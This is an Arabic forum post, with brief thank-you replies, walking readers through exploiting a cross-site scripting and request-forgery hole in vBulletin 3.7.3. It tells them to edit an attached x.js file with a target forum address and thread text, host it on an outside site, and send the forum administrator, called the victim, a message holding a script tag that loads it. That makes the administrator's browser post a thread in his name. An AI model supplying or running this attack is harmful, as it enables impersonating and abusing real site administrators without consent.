شـرح ثغره vBulletin 3.7.3 xxs/xsrf الجديده

[ahmedfreed]

الســلام عليـكم ورحمه الله وبركاته

كيف الحال .... ان شاء الله بخيـر

اليكم شرح ثغره منتديات vBulletin 3.7.3 الجديده

طبعا الثغرة دي صارة اليوم مع احد الاعضاء الي قام بكتابة الكود وحبيت انبه عن الثغره وشرحها


المهم نبــداء الشــرح
بسم الله

الثغره هو انك تكتب موضوع باسم الادمن فقط

اول شيء انزل وحمل من المرفقـات ملف x.zib

راح تحصل ملفين الملف الاول باسم X والثاني باسم hack

بعد ما تحمل افتح ملف x.js بواسطة المفكره وابحث عن www.nime.com/vb راح تحصلها في اول المفكره وعدلها على رابط المنتدى الهدف


وبعدين ابحث على hi man how r u وعدلها على عنوان الموضوع الي تريد ينزل باسم المدير وانتبه تغير اي شي امسح الكلام الي حددت لك وعدله بعنوان الموضوع الان انزل السطر الي تحت على طول راح تحصل كلمه Nothing man تحت عنوان الموضوع على طول انت عدل Nothing man الا محتوا الموضوع


واحفظ الملف وبعدين ارفع الملف على اي موقع واحفظ رابطه

الان روح لصورة hack افتحها بواسطه المفكره واستبدل www.nime.com/x.js برابط الموقع الي رفعت عليه الملف واحفظ الملف وارفعها على موقع واحفظ الرابط
الان تروح على رابط المنتدى وتدخل الملف الشخصي للضحيه الي هو الادمن تكتب رساله بهذا الكــود وترسلها



<script language="javascript" src="http://www.nime.com/x.js"></script>

طبعاً تعدل الرابط بالملف الي رفعتوه اول شيء ملف x.js




ولمى يدخل الادمن على الرساله راح ينزل موضوع عنده نزل باسمه وهو الي ما كتبه

وتم الانتهاء من الشرح

[sparo]

مشكور واصل يا ملك تحياتي لك .

[كاسر المشاعر]

مشكووووووووور مزيد من الابداع....